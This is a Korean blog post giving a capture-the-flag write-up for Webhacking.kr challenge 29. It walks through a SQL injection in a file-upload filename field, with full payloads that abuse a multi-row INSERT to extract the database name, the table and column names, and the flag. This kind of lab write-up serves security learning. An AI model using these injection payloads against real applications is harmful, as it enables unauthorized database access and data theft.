프로젝트/Webhacking.kr

[Webhacking.kr] Challenge(old) 29번 문제

Uggjjini 2021. 7. 19. 11:14

문제페이지는 해당 페이지와 같다.

 

페이지에는 파일을 업로드 하는 부분과 time, ip, file 의 목록이 존재한다.

 

그리고 FLAG 가 다른 테이블에 존재한다는 내용이 출력되어 있다. 해당 문제는 Flag 가 존재하는 테이블을 찾으면 풀릴 듯하다.

 

임의로 test.txt 라는 파일을 업로드 시켜보면 목록이 하나 추가되는 것을 볼 수 있다.

 

 

Burp suite 를 이용하여 SQL 인젝션 공격을 시도해본다.

 

1. time / ip / file  의 insert 되는 순서를 일아본다.

 

INSERT INTO 테이블명 VALUES (‘a’, ‘b’, ‘c’), (‘d’, ‘e’, ‘f’);

 

INSERT 문은 다중으로 데이터를 저장할 수 있기 때문에  이를 이용하여 INSERT 순서를 알아본다.

 

패킷의 filename 의 값을 목록의 순서대로 입력하여 넣어본다. (time/ip/filename)

 

하단의 INSERT 문이 되도록 filename을 변경한다.

 

INSERT INTO 테이블명 VALUES (‘1234’, ‘나의ip주소’, ‘test1’);

 

filename="1234', '나의 IP 주소', 'test1')#"

 

 

 

해당 순서로 insert 하면 에러가 뜨는 것을 확인 할 수 있었다.

 

패킷의 filename 의 값을 목록 순서를 변경하여 입력하여 전송해본다. (filename/time/ip)

 

INSERT INTO 테이블명 VALUES (‘test2’, 1234, ‘나의ip주소’);

 

filename="test2', 1234, '나의 IP 주소')#"

 

 

해당 순서로 전송한 경우 업로드가 성공하고 목록에 test2 파일이 추가되는 것을 확인할 수 있다.

 

2. 데이터 베이스명 추출하기.

 

INSERT 구문에 filename value 값에 SELECT 구문을 넣어 데이터 베이스 명을 알아본다.

 

INSERT into 테이블명 ('test3', 1234, '나의ip주소'),((SELECT database()), 1234, '나의ip주소')

 

filename="test3', 123, '나의 IP'),((SELECT database()), 123, '나의 IP')#"

 

 

 

filename 추가된 값을 통하여 데이터 베이스명이 chall29 라는 것을 알아냈다.

 

 

3.  테이블 명 추출하기

 

INSERT 구문에 filename value 값에 SELECT 구문을 넣어 테이블명을 알아본다.

 

INSERT into 테이블명 ('test4', 1234, '나의 ip 주소'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 1234, '나의 ip 주소')

 

filename="test4', 123, '나의 IP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 123, '나의 IP')#"

 

 

테이블은 files 와 flag_congratz 이 존재한다는 것을 확인할 수 있다.

 

FLAG 가 존재하는 테이블은 flag_congratz 일 듯하다.

 

 

4. 컬럼명 추출하기

 

INSERT 구문에 filename value 값에 SELECT 구문을 넣어 칼럼명을 알아본다.

 

INSERT into 테이블명 ('test5', 1234, '나의ip주소'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 1234, '나의ip주소')

 

filename="test5', 123, '나의 IP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 123, '나의 IP')#"

 

칼럼명은 flag 라는 것을 알 수 있다.

 

 

5. flag 값 추출하기

 

INSERT 구문에 filename value 값에 SELECT 구문을 넣어 flag 값을 알아본다.

 

INSERT into 테이블명 ('test6', 1234, '나의ip주소'),((SELECT flag FROM flag_congratz), 1234, '나의ip주소')

 

filename="test6', 123, '나의 IP'),((SELECT flag FROM flag_congratz), 123, '나의 IP')#"

 

FLAG 값을 알아내었다.

 

Webhackng.kr 의 Auth 메뉴로 이동하여 해당 값을 입력하면 문제가 풀린다.